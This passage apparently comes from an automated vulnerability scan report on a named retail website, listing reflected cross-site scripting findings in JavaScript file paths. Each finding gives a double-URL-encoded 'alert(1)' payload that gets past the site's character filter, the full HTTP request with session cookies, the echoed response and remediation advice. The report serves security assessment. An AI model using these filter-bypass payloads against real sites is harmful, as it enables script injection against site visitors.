Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:47 GMT
Content-Length: 66712

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/main.js8a792";alert(1)//a5abc0a59d3"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.41. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38e88%2522%253balert%25281%2529%252f%252f0be1788ff8d was submitted in the REST URL parameter 1. This input was echoed as 38e88";alert(1)//0be1788ff8d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals38e88%2522%253balert%25281%2529%252f%252f0be1788ff8d/1/Skins/Main/js/sfPrint.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:59 GMT
Content-Length: 66734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals38e88";alert(1)//0be1788ff8d/1/Skins/Main/js/sfPrint.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="
...[SNIP]...

1.42. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16ec4%2522%253balert%25281%2529%252f%252f3293b13a11c was submitted in the REST URL parameter 2. This input was echoed as 16ec4";alert(1)//3293b13a11c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/116ec4%2522%253balert%25281%2529%252f%252f3293b13a11c/Skins/Main/js/sfPrint.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:09 GMT
Content-Length: 66734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/116ec4";alert(1)//3293b13a11c/Skins/Main/js/sfPrint.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Pa
...[SNIP]...

1.43. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc978%2522%253balert%25281%2529%252f%252fb4ecf93120a was submitted in the REST URL parameter 3. This input was echoed as dc978";alert(1)//b4ecf93120a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skinsdc978%2522%253balert%25281%2529%252f%252fb4ecf93120a/Main/js/sfPrint.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:18 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skinsdc978";alert(1)//b4ecf93120a/Main/js/sfPrint.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not
...[SNIP]...

1.44. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6fe37%2522%253balert%25281%2529%252f%252f0e539c8da90 was submitted in the REST URL parameter 4. This input was echoed as 6fe37";alert(1)//0e539c8da90 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main6fe37%2522%253balert%25281%2529%252f%252f0e539c8da90/js/sfPrint.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:28 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main6fe37";alert(1)//0e539c8da90/js/sfPrint.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Foun
...[SNIP]...

1.45. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c9a5d%2522%253balert%25281%2529%252f%252f4bf7848d23e was submitted in the REST URL parameter 5. This input was echoed as c9a5d";alert(1)//4bf7848d23e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/jsc9a5d%2522%253balert%25281%2529%252f%252f4bf7848d23e/sfPrint.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:37 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/jsc9a5d";alert(1)//4bf7848d23e/sfPrint.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.46. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/sfPrint.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1bca%2522%253balert%25281%2529%252f%252f3c5359236c7 was submitted in the REST URL parameter 6. This input was echoed as b1bca";alert(1)//3c5359236c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/sfPrint.jsb1bca%2522%253balert%25281%2529%252f%252f3c5359236c7 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:45 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/sfPrint.jsb1bca";alert(1)//3c5359236c7"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.47. http://www.dunnedwards.com/js/dnn.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /js/dnn.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79501%2522%253balert%25281%2529%252f%252f5d4c37295b2 was submitted in the REST URL parameter 1. This input was echoed as 79501";alert(1)//5d4c37295b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /js79501%2522%253balert%25281%2529%252f%252f5d4c37295b2/dnn.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:47 GMT
Content-Length: 66478

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/js79501";alert(1)//5d4c37295b2/dnn.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.e
...[SNIP]...

1.48. http://www.dunnedwards.com/js/dnn.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /js/dnn.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 32c81%2522%253balert%25281%2529%252f%252f4a8d5aec4d6 was submitted in the REST URL parameter 2. This input was echoed as 32c81";alert(1)//4a8d5aec4d6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /js/dnn.js32c81%2522%253balert%25281%2529%252f%252f4a8d5aec4d6 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:57 GMT
Content-Length: 66477

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/js/dnn.js32c81";alert(1)//4a8d5aec4d6"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.49. http://www.dunnedwards.com/js/dnncore.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /js/dnncore.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef312%2522%253balert%25281%2529%252f%252ff9452d189b7 was submitted in the REST URL parameter 1. This input was echoed as ef312";alert(1)//f9452d189b7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /jsef312%2522%253balert%25281%2529%252f%252ff9452d189b7/dnncore.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:46 GMT
Content-Length: 66510

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/jsef312";alert(1)//f9452d189b7/dnncore.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.50. http://www.dunnedwards.com/js/dnncore.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /js/dnncore.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3ae99%2522%253balert%25281%2529%252f%252fedc79d9f9f9 was submitted in the REST URL parameter 2. This input was echoed as 3ae99";alert(1)//edc79d9f9f9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /js/dnncore.js3ae99%2522%253balert%25281%2529%252f%252fedc79d9f9f9 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:59 GMT
Content-Length: 66510

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
